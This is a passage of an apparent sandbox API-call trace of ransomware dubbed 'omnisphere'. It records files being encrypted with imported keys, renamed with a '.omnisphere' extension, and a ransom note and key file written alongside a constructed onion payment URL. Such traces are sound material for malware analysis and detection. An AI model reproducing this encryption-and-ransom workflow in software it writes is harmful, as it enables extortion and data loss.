pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.646] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.646] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0119.646] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x493, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.646] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.646] GetProcessHeap () returned 0x1600000 [0119.646] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x16ade20 [0119.646] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BIa5loVm.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bia5lovm.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BIa5loVm.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bia5lovm.lnk.omnisphere")) returned 1 [0119.648] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BIa5loVm.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BIa5loVm.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BIa5loVm.lnk.omnisphere.id" [0119.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BIa5loVm.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bia5lovm.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.648] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.650] CloseHandle (hObject=0x3c0) returned 1 [0119.651] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.651] CloseHandle (hObject=0x288) returned 1 [0119.651] SetEndOfFile (hFile=0x28c) returned 1 [0119.651] FlushFileBuffers (hFile=0x28c) returned 1 [0119.658] CloseHandle (hObject=0x28c) returned 1 [0119.659] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BIa5loVm.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.659] GetProcessHeap () returned 0x1600000 [0119.659] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16be2a0 [0119.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.659] GetProcessHeap () returned 0x1600000 [0119.659] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b20e0 [0119.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b20e0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.659] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.659] GetProcessHeap () returned 0x1600000 [0119.659] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afca8 [0119.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afca8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.659] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.659] GetProcessHeap () returned 0x1600000 [0119.659] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2f40 [0119.659] PathCombineW (in: pszDest=0x16a2f40, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.659] GetProcessHeap () returned 0x1600000 [0119.660] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16ba1f0 [0119.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.660] WriteFile (in: hFile=0x28c, lpBuffer=0x16ba1f0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16ba1f0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.660] CloseHandle (hObject=0x28c) returned 1 [0119.660] GetProcessHeap () returned 0x1600000 [0119.660] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16be2a0 | out: hHeap=0x1600000) returned 1 [0119.660] GetProcessHeap () returned 0x1600000 [0119.660] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.660] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.661] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.661] CloseHandle (hObject=0x28c) returned 1 [0119.661] GetProcessHeap () returned 0x1600000 [0119.661] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.661] GetProcessHeap () returned 0x1600000 [0119.661] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656388 | out: hHeap=0x1600000) returned 1 [0119.661] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a3cd579, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1a3cd579, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1a3cd579, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0xd3, cFileName="BiUlTgA5fV_8e8CfhUI.lnk", cAlternateFileName="BIULTG~1.LNK")) returned 1 [0119.661] GetProcessHeap () returned 0x1600000 [0119.661] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2ff8 [0119.661] PathCombineW (in: pszDest=0x16a2ff8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="BiUlTgA5fV_8e8CfhUI.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiUlTgA5fV_8e8CfhUI.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiUlTgA5fV_8e8CfhUI.lnk" [0119.662] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.662] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiUlTgA5fV_8e8CfhUI.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\biultga5fv_8e8cfhui.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.662] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1284) returned 1 [0119.662] GetTickCount () returned 0x115de66 [0119.662] GetTickCount () returned 0x115de66 [0119.662] GetTickCount () returned 0x115de66 [0119.662] GetTickCount () returned 0x115de66 [0119.662] GetTickCount () returned 0x115de66 [0119.662] GetTickCount () returned 0x115de66 [0119.662] GetTickCount () returned 0x115de66 [0119.662] GetTickCount () returned 0x115de66 [0119.662] GetTickCount () returned 0x115de66 [0119.662] GetTickCount () returned 0x115de66 [0119.662] GetTickCount () returned 0x115de66 [0119.662] GetTickCount () returned 0x115de66 [0119.662] GetTickCount () returned 0x115de66 [0119.662] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] GetTickCount () returned 0x115de66 [0119.663] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0119.664] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.664] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.664] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.664] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0119.664] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x504, lpName=0x0) returned 0x288 [0119.664] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x504) returned 0x1480000 [0119.665] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0119.665] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0119.665] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.666] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.667] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.668] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, 